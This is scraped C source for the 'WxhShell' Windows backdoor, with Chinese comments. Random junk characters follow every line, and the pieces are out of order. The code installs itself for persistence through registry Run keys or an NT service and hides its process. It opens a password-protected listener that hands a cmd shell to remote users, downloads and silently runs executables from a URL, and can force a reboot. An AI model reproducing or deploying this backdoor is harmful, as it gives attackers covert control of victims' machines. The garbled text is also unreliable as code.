    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d=,%= @  
    if(Boot(SHUTDOWN)) 1h*)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bifS 2>c  
    else { ]M)O YY  
    closesocket(wsh); 1 )}=bhT  
    ExitThread(0); ^8 ' sib  
    } J--m[X  
    break; T081G`li  
    } J7C4V'_  
  // 获取shell yCJFo  
  case 's': { r]W  
    CmdShell(wsh); 7nbB^2  
    closesocket(wsh); _#$ *y  
    ExitThread(0); ?JV|dM  
    break; 6"c1;P!4   
  } v+jsC`m  
  // 退出 KXV[OF&J  
  case 'x': { H Te<x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kc/{[ME  
    CloseIt(wsh); t_ksvWUo  
    break; Ku&!?m@C  
    } %/>xO3"T  
  // 离开 X2tk[Kr  
  case 'q': { 9]t[J_YM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BmHwu{n'  
    closesocket(wsh); tO_H!kP  
    WSACleanup(); )1g"?]  
    exit(1); #fj/~[Ajv  
    break; 2F%W8Y 3  
        } LZ@|9!KDw  
  } &z"krM]G  
  } b':|uu*/  
}F+zs*S  
  // 提示信息 Qu,8t 8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d:G]1k;z  
} I@Xn3oN  
  } AxxJk"v'y  
.^$YfTabq  
  return; JQ :Ri  
} OB ~X/  
ExHKw~y9  
// shell模块句柄 \5Vde%!$Z  
int CmdShell(SOCKET sock) Hi_ G  
{ bCZ g cN  
STARTUPINFO si; $A3<G-4O  
ZeroMemory(&si,sizeof(si)); zqDR7+]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; do uc('@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XC7%vDIt  
PROCESS_INFORMATION ProcessInfo; B2Xn?i3 l  
char cmdline[]="cmd"; @"T"7c?Cv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i(? ,6)9  
  return 0; {cpEaOyOM  
} +n}$pM|NKU  
PSawMPw  
// 自身启动模式 tNVV)C  
int StartFromService(void) %gnM( pxl  
{ [i0Hm)Bd3  
typedef struct k%y9aO  
{ T0)"1D<l  
  DWORD ExitStatus; _Lw OOZj  
  DWORD PebBaseAddress; vIvVq:6_3  
  DWORD AffinityMask; EQqx+J&!  
  DWORD BasePriority; >;z<j$;F<  
  ULONG UniqueProcessId; iCP/P%  
  ULONG InheritedFromUniqueProcessId; CE15pNss  
}   PROCESS_BASIC_INFORMATION; +i\&6HGK;-  
Sx    
PROCNTQSIP NtQueryInformationProcess; #d{=\$=  
Kb =@ =Xta  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z ,^9 Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^I KO2Ft  
`IYuz:  
  HANDLE             hProcess; b;|55Y  
  PROCESS_BASIC_INFORMATION pbi; KYJjwXT28W  
~) ?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fjnTe  
  if(NULL == hInst ) return 0; y/V%&.$o=  
GRy-+#,b"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =66Nw(E.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E&Qi@Ty  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pj?XLiM54%  
0?WcoPU  
  if (!NtQueryInformationProcess) return 0; +h2eqNr  
-/ ]W+[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t>B^q3\q?  
  if(!hProcess) return 0; c`x7u}C  
?j^=u:<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]a2W e`  
C@N1ljXJT  
  CloseHandle(hProcess); Q4t(@0e}  
8 i&_Jgmr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ]*O/+  
if(hProcess==NULL) return 0; ]CU]pK?nq  
>r &;3:"  
HMODULE hMod; 9;yn}\N `  
char procName[255]; 74<!&t  
unsigned long cbNeeded; 9;F bnp'  
TwyM\9l7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'gQidf  
EL3|u64GO  
  CloseHandle(hProcess); p2PY@d}}.  
cNzt%MjP  
if(strstr(procName,"services")) return 1; // 以服务启动 (]/9-\6(#  
Cw5%\K$=  
  return 0; // 注册表启动 b'zR 9V  
} (BX83)  
dk8wIa"K`  
// 主模块 %hlspI(J  
int StartWxhshell(LPSTR lpCmdLine) [nxE)D  
{ X &2oPo  
  SOCKET wsl; hP J4Oj1O  
BOOL val=TRUE; X\p,%hk \  
  int port=0; \b}~2oX  
  struct sockaddr_in door; P)dL?vkK  
M Jj4Hd  
  if(wscfg.ws_autoins) Install(); {F&-7u0  
>-E<n8  
port=atoi(lpCmdLine); ,_!6U  
R`F,aIJ]  
if(port<=0) port=wscfg.ws_port; `k\grr.J  
 TIy&&_p  
  WSADATA data; i` A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M(|   
uGdp@]z&8Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BiE08,nj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AvR2_  
  door.sin_family = AF_INET; _<ut)G^9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g%[n4  
  door.sin_port = htons(port); /8@m<CW2Y  
T5wjU*=IL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EoX_KG{  
closesocket(wsl); dQy>Nmfy  
return 1; wx=0'T-[  
} =1dI>M>tm  
5)1+~B  
  if(listen(wsl,2) == INVALID_SOCKET) { ^EVc95|Z  
closesocket(wsl); {Hr$wa~  
return 1; wLuv6\E  
} _eLWQ|6Fx  
  Wxhshell(wsl); 59(U`X  
  WSACleanup(); QD{:vG g  
`h;k2Se5  
return 0; lC 97_ T  
! BU)K'mj  
}  Do?P<x o  
nW\(IkX\  
// 以NT服务方式启动 ;%J5=f%z)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 89o)M5KQ  
{ 'NZGQeb K  
DWORD   status = 0; 4X NxI1w)  
  DWORD   specificError = 0xfffffff; b(GFMk  
Np)3+!^1"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &R+#W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jdeva t,&u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j-]&'-h}#  
  serviceStatus.dwWin32ExitCode     = 0; QzGV.Mt2  
  serviceStatus.dwServiceSpecificExitCode = 0; %IL6ix  
  serviceStatus.dwCheckPoint       = 0; kfC0zd+  
  serviceStatus.dwWaitHint       = 0; >KG E-Yzj  
B1N)9%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^[TV;9I*  
  if (hServiceStatusHandle==0) return; ]T O/kl/  
`=tyN@VC  
status = GetLastError(); 8YY|;\F)J~  
  if (status!=NO_ERROR)  \d.F82  
{ t$^l<ppQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D)='8jV7  
    serviceStatus.dwCheckPoint       = 0; 0Flu\w/+P  
    serviceStatus.dwWaitHint       = 0; x )5V.q  
    serviceStatus.dwWin32ExitCode     = status; j{#Wn !,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'p)Q68;&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =4C}{IL  
    return; j'Y / H5  
  } h?@G$%2  
)tZ`K |  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3bC yTZk  
  serviceStatus.dwCheckPoint       = 0; }{7e7tW6  
  serviceStatus.dwWaitHint       = 0; #*q2d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q5 &Ci`  
} OKuD"   
HgJb4Fi  
// 处理NT服务事件,比如:启动、停止 'TN)Lb*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w=r&?{  
{ 2x$x; \*j  
switch(fdwControl) L3y5a?G  
{ ^<V9'Ut   
case SERVICE_CONTROL_STOP: _|c&@M  
  serviceStatus.dwWin32ExitCode = 0;  vfvlB[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <FFJzNc+  
  serviceStatus.dwCheckPoint   = 0; cErI%v}v0  
  serviceStatus.dwWaitHint     = 0; bk#xiuwT  
  { fhp)S",  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mAqD jRV1  
  } H;_yRUY9  
  return; -@%%*YI>  
case SERVICE_CONTROL_PAUSE: 2V#6q,2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -$Y8!54  
  break; ^,s?e.u$8`  
case SERVICE_CONTROL_CONTINUE: V: p)m&y6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gqiXmMm:9  
  break; B5=3r1Ly  
case SERVICE_CONTROL_INTERROGATE: ryD%i"g<  
  break; 0TE@xqW  
}; "|LQK0q3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q49BU@xX  
} Z-Wfcnk  
:Am-8  
// 标准应用程序主函数 a4GWuozl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dBEIMn@  
{ "h$R ]~eG  
'% 4P;HO  
// 获取操作系统版本 c;!g  
OsIsNt=GetOsVer(); G\H q/4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vP]9;mQ  
(}H ,ng'4  
  // 从命令行安装 @h-T:$  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Gd.&flSj  
u]vPy ria  
  // 下载执行文件 k'13f,o}  
if(wscfg.ws_downexe) { Y5TS>iEE]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) swr"k6;G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;x[pM_  
} ")\aJ8  
W}gVIfe  
if(!OsIsNt) { lJ/6-dP  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Yk"Hos  
HideProc(); +mWjBY  
StartWxhshell(lpCmdLine); *re 44  
} 7c1+t_Ew  
else F?*k}]Gi  
  if(StartFromService()) G\rj?%  
  // 以服务方式启动 rZC3\,W  
  StartServiceCtrlDispatcher(DispatchTable); ;w6s<a@Zh  
else d.}}s$Q  
  // 普通方式启动 jn=ug42d  
  StartWxhshell(lpCmdLine); Lt<oi8'N  
-{x(`9H;  
return 0; |'w^n  
} 7>je6*(K  
G.jQX'%4QG  
t[O+B 6  
rc~Y=m   
=========================================== Cg6;I.K   
V9jFjc?  
H1UL.g%d=  
Z`xyb>$  
gduxA/aT  
|HgfV@Han  
" oS!/|#m n  
]Y5dl;xrM)  
#include <stdio.h> ;/A}}B]y  
#include <string.h> u8uW9 <  
#include <windows.h> Q;gQfr"c7  
#include <winsock2.h> 5ZsDgOeY  
#include <winsvc.h> Sr7@buF  
#include <urlmon.h> m!!;/e?yx  
02M7gBS  
#pragma comment (lib, "Ws2_32.lib") =YoTyq\  
#pragma comment (lib, "urlmon.lib") rt;gC[3\  
vl~%o@*_  
#define MAX_USER   100 // 最大客户端连接数 HWbBChDF  
#define BUF_SOCK   200 // sock buffer +FBi5h  
#define KEY_BUFF   255 // 输入 buffer M)=|<h"F  
)<'yQW=6  
#define REBOOT     0   // 重启 h#R&=t1,^  
#define SHUTDOWN   1   // 关机 ,)uPGe"y  
; $6x=uZ  
#define DEF_PORT   5000 // 监听端口 5`yPT>*#m>  
}9}w8R~E  
#define REG_LEN     16   // 注册表键长度 N[ Q#R~Hn<  
#define SVC_LEN     80   // NT服务名长度 .HOY q  
BD4"pcr  
// 从dll定义API J[+Tj @n'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TAAR'Jz S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >C^/,/%v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T g\hx>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ V5S4E  
(\uA AW"  
// wxhshell配置信息 3GINv3_  
struct WSCFG { x 8M#t(hw  
  int ws_port;         // 监听端口 yTj p-  
  char ws_passstr[REG_LEN]; // 口令 ]-rczl|o  
  int ws_autoins;       // 安装标记, 1=yes 0=no EFNdiv$wF  
  char ws_regname[REG_LEN]; // 注册表键名 ~FNPD'`t  
  char ws_svcname[REG_LEN]; // 服务名 ]TfeBX6ST  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;>/ipnx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /MqP[*L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w*2^/zh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +DxifXtB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *vXDuhQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1l~.R#WG&  
PIpWa$b  
}; rJp?d9B  
0O^r.&{j>  
// default Wxhshell configuration ]nHe$x!2]  
struct WSCFG wscfg={DEF_PORT, e mC\i  
    "xuhuanlingzhe", m^Rd Iy)  
    1, ndB@J*Imu  
    "Wxhshell", S#hu2\9D,  
    "Wxhshell", &}O8w77  
            "WxhShell Service", SE-} XI\  
    "Wrsky Windows CmdShell Service", %N1T{   
    "Please Input Your Password: ", iUpSN0XkMM  
  1, K wQXA'  
  "http://www.wrsky.com/wxhshell.exe", +}\29@{W  
  "Wxhshell.exe" i 63?"  
    }; /o'oF  
M+\rX1T  
// 消息定义模块 >pa\n9=Q^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Y:5,.U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @Z,qu2~|!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V3%Krn1'  
char *msg_ws_ext="\n\rExit."; kU>#1 He  
char *msg_ws_end="\n\rQuit."; k\%,xf; x  
char *msg_ws_boot="\n\rReboot..."; &7lk2Q\  
char *msg_ws_poff="\n\rShutdown..."; @V7;TJk  
char *msg_ws_down="\n\rSave to ";  ,&4zKm  
*SXSF95  
char *msg_ws_err="\n\rErr!"; e$x4Ux7*"  
char *msg_ws_ok="\n\rOK!"; 0yKwH\S  
fg< ( bXC  
char ExeFile[MAX_PATH]; +-'`Q Ae  
int nUser = 0; ?F!W#   
HANDLE handles[MAX_USER]; XZ!cW=bqS  
int OsIsNt; 7-(>"75Q|  
e|35|I '  
SERVICE_STATUS       serviceStatus; \}n !yYh(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {W]bU{%.  
TR+Q4Y:  
// 函数声明 yr (g~MQ  
int Install(void); PlF89-  
int Uninstall(void); *C tsFS~  
int DownloadFile(char *sURL, SOCKET wsh); |:\$n}K  
int Boot(int flag); tc!!W9{69  
void HideProc(void); 77*v-8c  
int GetOsVer(void); '"'D.,[W2  
int Wxhshell(SOCKET wsl); (xjqB{U  
void TalkWithClient(void *cs); 6MrZ6dz^  
int CmdShell(SOCKET sock); #R5we3&p  
int StartFromService(void); / O|Td'Z  
int StartWxhshell(LPSTR lpCmdLine); k q/t]%(  
6zELe.tq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b "`ru~]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \=$EmHF  
zK[ 7:<  
// 数据结构和表定义 5/zf x  
SERVICE_TABLE_ENTRY DispatchTable[] = fpI; `s  
{ >2 FAi.,  
{wscfg.ws_svcname, NTServiceMain}, +.XZK3  
{NULL, NULL} Ks9FnDm8  
}; j\%?<2dj=  
1y_fQ+\2A  
// 自我安装 +"TI_tK, S  
int Install(void) M9g~lKs'  
{ cH+h=E=  
  char svExeFile[MAX_PATH]; _K*\}un2  
  HKEY key; EY,;e\7O,  
  strcpy(svExeFile,ExeFile); )w^GP lh  
NKupOJJq  
// 如果是win9x系统,修改注册表设为自启动 dcV,_  
if(!OsIsNt) { {d&X/tT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CM+F7#T?n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nNd`]F^U  
  RegCloseKey(key); +9Xu"OFm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ey'pm\Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 82G lbd)  
  RegCloseKey(key); >DPds~k  
  return 0; V:nMo2'hb  
    } OL,/-;z6  
  } V)_H E  
} [8B tIv  
else { pCB 5wB  
:w?:WH?2L  
// 如果是NT以上系统,安装为系统服务 vLi/'|7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .5jnKU8NF  
if (schSCManager!=0) >X-ed  
{ s BeP;ox  
  SC_HANDLE schService = CreateService `@VM<av  
  ( )x_W&*oZ  
  schSCManager, HPu/. oE  
  wscfg.ws_svcname, krEH`f  
  wscfg.ws_svcdisp, L:|X/c9r[  
  SERVICE_ALL_ACCESS, bIvJs9L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uzzWZ9Tv  
  SERVICE_AUTO_START, yv6Zo0s<J  
  SERVICE_ERROR_NORMAL, mq|A8>g  
  svExeFile, BK`Q)[  
  NULL, 0~PXa(!^K  
  NULL, I?^Q084  
  NULL, Uxj<x`<1x  
  NULL, bQ|#_/?  
  NULL ^g}gT-l%  
  ); :,xyVb+  
  if (schService!=0) ^P3g9'WK  
  { .(P@Bl]XJ  
  CloseServiceHandle(schService); ;PP_3`  
  CloseServiceHandle(schSCManager); X]3l| D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =hZ&66  
  strcat(svExeFile,wscfg.ws_svcname); ft~|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CPF>^Mp#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xdFP$Y~ogy  
  RegCloseKey(key); UY}9  
  return 0; X\c1q4oB[  
    } PsF- 9&_  
  } XudH  
  CloseServiceHandle(schSCManager); FOlA* U4U  
} yi AG'[  
} Zh@4_Z9n!  
]noP  
return 1; Tb!B!m  
} *783xEF>f  
O&rD4#  
// 自我卸载 M[`w{A  
int Uninstall(void) kB$,1J$q  
{ BCa90  
  HKEY key; 1{\,5U&  
k@cZ"jYA  
if(!OsIsNt) { yP<:iCY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G>_42Rp  
  RegDeleteValue(key,wscfg.ws_regname); (d5vH)+ A  
  RegCloseKey(key); d @^o/w8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k vue@  
  RegDeleteValue(key,wscfg.ws_regname); }e/[$!35  
  RegCloseKey(key); vJ'yz#tl9  
  return 0; 4cErk)F4  
  } Yq)YS]  
} m&8U4uHN  
} [#,X$O>  
else { r+V(1<`2X  
?}1JL6mF{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P&-D0T_  
if (schSCManager!=0) @]y{M;  
{ 8IT_mjj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D 7;~x]*  
  if (schService!=0) #Tg|aW$(*  
  { V!kQuQJ>  
  if(DeleteService(schService)!=0) { x]%4M\T``  
  CloseServiceHandle(schService); ,,wyydG  
  CloseServiceHandle(schSCManager); Qn'r+X5t  
  return 0; 3 4A&LBwC  
  } l b1sV  
  CloseServiceHandle(schService); [6RV'7`Abj  
  } +*:x#$phx  
  CloseServiceHandle(schSCManager); !Wdt:MUI8  
} ]X"i~$T1S  
} L[QI 5N  
"PDSqYA  
return 1; +n8I(l=  
} 9rf|r 3  
Vbqm]2o&  
// 从指定url下载文件 1=o(sIeA  
int DownloadFile(char *sURL, SOCKET wsh) 3' :[i2[  
{ Bgo"JNM  
  HRESULT hr; 79c9 +  
char seps[]= "/"; <'4!G"_EP  
char *token; <=y5 8O]x  
char *file; yw3U"/yw  
char myURL[MAX_PATH]; t UAY]BJ*s  
char myFILE[MAX_PATH]; L2/<+ Zw  
<76=H]h~  
strcpy(myURL,sURL); K9z_=c+  
  token=strtok(myURL,seps); r/s&ee  
  while(token!=NULL) |V~(mS747:  
  { 7,&]1+n  
    file=token; .>gU 9A(Nk  
  token=strtok(NULL,seps); hF=V ?\  
  } (J,Oh  
YRM6\S)py  
GetCurrentDirectory(MAX_PATH,myFILE); g8iB;%6  
strcat(myFILE, "\\"); /kviO@jm4(  
strcat(myFILE, file); $Zu4tuXA  
  send(wsh,myFILE,strlen(myFILE),0); 7PQj7&m  
send(wsh,"...",3,0); g)r ,q&*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )/N Xh'  
  if(hr==S_OK) [(e`b  
return 0; Jk6/i;4|  
else dn.c#,Y  
return 1; ~]_jKe4W  
ReG O9}  
} K~hlwjrt  
EJ &ZZg  
// 系统电源模块 1r-,V X7  
int Boot(int flag) i]^*J1a  
{ :R|2z`b!  
  HANDLE hToken; r<f-v_bxF  
  TOKEN_PRIVILEGES tkp; ~E:/oV:4 >  
[9W&1zY  
  if(OsIsNt) { "*>QxA%c4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GF.g'wYc)Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;xkf ?|  
    tkp.PrivilegeCount = 1; YWBP'Mo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3Ns:O2|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /*R' xBr  
if(flag==REBOOT) { G3?a~n^b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s)7`r6w  
  return 0; )dN,b( w9  
} 7zk m  
else { K?9H.#(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $m%/veD k  
  return 0; AdN= y8T  
} @ :   
  } C` 1\$U~%  
  else { c,s<q j  
if(flag==REBOOT) { 4#Nd;gM2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {Z~VO  
  return 0; cF<DUr)Ve  
} pcxl2I  
else { ()IgSj?,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #( Yb lY  
  return 0; qP.VK?jF|  
} );.<Yf{c  
}  D]>86&  
T6?d`i i1  
return 1; 6V_5BpXt  
} Pc:'>,3!V3  
~(doy@0M  
// win9x进程隐藏模块 "e};?|y  
void HideProc(void) vR.6^q  
{ %^@0tT  
Fb4S /_ V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -){^ Q:u  
  if ( hKernel != NULL ) d5W[A#}  
  { I:2jwAl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q]koj!mMl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U?m?8vhR6(  
    FreeLibrary(hKernel); _@ 3O`  
  } 5<ya;iK  
9mtC"M<   
return; %RF   
} BO cEL%+  
)UU6\2^  
// 获取操作系统版本 &(U=O?r7  
int GetOsVer(void) Ita!07  
{ M(f*hOG{Y  
  OSVERSIONINFO winfo; / z>8XM&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rO >wX_  
  GetVersionEx(&winfo); (YH{%8 Z0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # 2t\>7]  
  return 1; V\lF:3C  
  else JG+o~tQC  
  return 0; Rn ^N+3o'M  
} Mh B=+S[@  
?=o]Wx0(9  
// 客户端句柄模块 HOI`F3#XI  
int Wxhshell(SOCKET wsl) Yy:sZJ  
{ -kS5mR  
  SOCKET wsh; /|^^v DL  
  struct sockaddr_in client; Jx[e{o)o  
  DWORD myID; )uJ`E8>-  
Z`h_oK#y15  
  while(nUser<MAX_USER) 20xGj?M  
{ x-k /rZ  
  int nSize=sizeof(client); <5L`d}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @)B5^[4(;  
  if(wsh==INVALID_SOCKET) return 1; ^rb7`s#G  
R_&V.\e_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d~s-;T  
if(handles[nUser]==0) \e vgDZf  
  closesocket(wsh); ;Cpm3a t  
else <^$b1<@  
  nUser++; GdwHm  
  } =7Gi4X%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fH{$LjH(  
xg!\C@$  
  return 0; VH*(>^Of F  
} 5 `mVe0uI  
ag4^y&  
// 关闭 socket 6m<9^NT  
void CloseIt(SOCKET wsh) zT40,rk  
{ \}(-9dr  
closesocket(wsh); JugQ +0  
nUser--; F#9KMu<<cI  
ExitThread(0); l@9:V hU(  
} _E-GHj>k z  
SQCuY<mD  
// 客户端请求句柄 E0'6!9y  
void TalkWithClient(void *cs) C /VXyl@o  
{ bJ[1'Es `  
#!<s& f|O  
  SOCKET wsh=(SOCKET)cs; TV2:5@33  
  char pwd[SVC_LEN]; a.ME{:a%  
  char cmd[KEY_BUFF]; 667tL(  
char chr[1]; g)Uh   
int i,j; hRiGW_t  
qt)mUq;>  
  while (nUser < MAX_USER) { sMo%Ayes  
Wsz9X;  
if(wscfg.ws_passstr) { rJ*WxOoS{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C!A_PQ2y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6!V* :.(  
  //ZeroMemory(pwd,KEY_BUFF); jF0BWPL  
      i=0; SQRz8,sqkw  
  while(i<SVC_LEN) { +4RaN`I  
<AXYqH7%A  
  // 设置超时 v:ZD}Q_  
  fd_set FdRead; Lg53 Ms%  
  struct timeval TimeOut; Zz ?y&T  
  FD_ZERO(&FdRead); x@x@0k`A2  
  FD_SET(wsh,&FdRead); :\cJ vm  
  TimeOut.tv_sec=8; lKSI5d  
  TimeOut.tv_usec=0; \p|!=H@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T{Q&}`D)r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qTex\qP  
mQ)l`w Gh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #@`^  .  
  pwd=chr[0]; aesFv)5DK  
  if(chr[0]==0xd || chr[0]==0xa) { BF#e=p  
  pwd=0; |8rJqtf +&  
  break; Y`RfE  
  } F:U_gW?  
  i++; >.A:6  
    } cZ,_O~  
z[Qv}pv  
  // 如果是非法用户,关闭 socket Z/;SR""wa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O`| ri5d  
} s!\L1E  
M>#S z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sy~Mh]{E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IT"jtV  
 EZFWxR/  
while(1) { YDL)F<Y  
Gj?q+-d!(5  
  ZeroMemory(cmd,KEY_BUFF); ]].21  
O2B$c\pw  
      // 自动支持客户端 telnet标准   r3)t5P*_  
  j=0; [J#(k`@  
  while(j<KEY_BUFF) { p*,mwKN:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z AIC5fvu  
  cmd[j]=chr[0]; S^.=j oI  
  if(chr[0]==0xa || chr[0]==0xd) { YEj U3^@  
  cmd[j]=0; LdL\B0^l  
  break; djp(s$:{4  
  } V19*~v=u  
  j++; C\[UAxZ3X  
    } Q^OzFfR6  
lUz@Em  
  // 下载文件 bvKi0-  
  if(strstr(cmd,"http://")) { /J:j'6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )$i3j 1[;  
  if(DownloadFile(cmd,wsh)) D.} b<kDD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : Dlk `?  
  else &3. 8i%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :'=C/AL  
  } T@XiG:b7  
  else { ZG|T-r;~  
cm<3'#~Q?  
    switch(cmd[0]) { b"V-!.02  
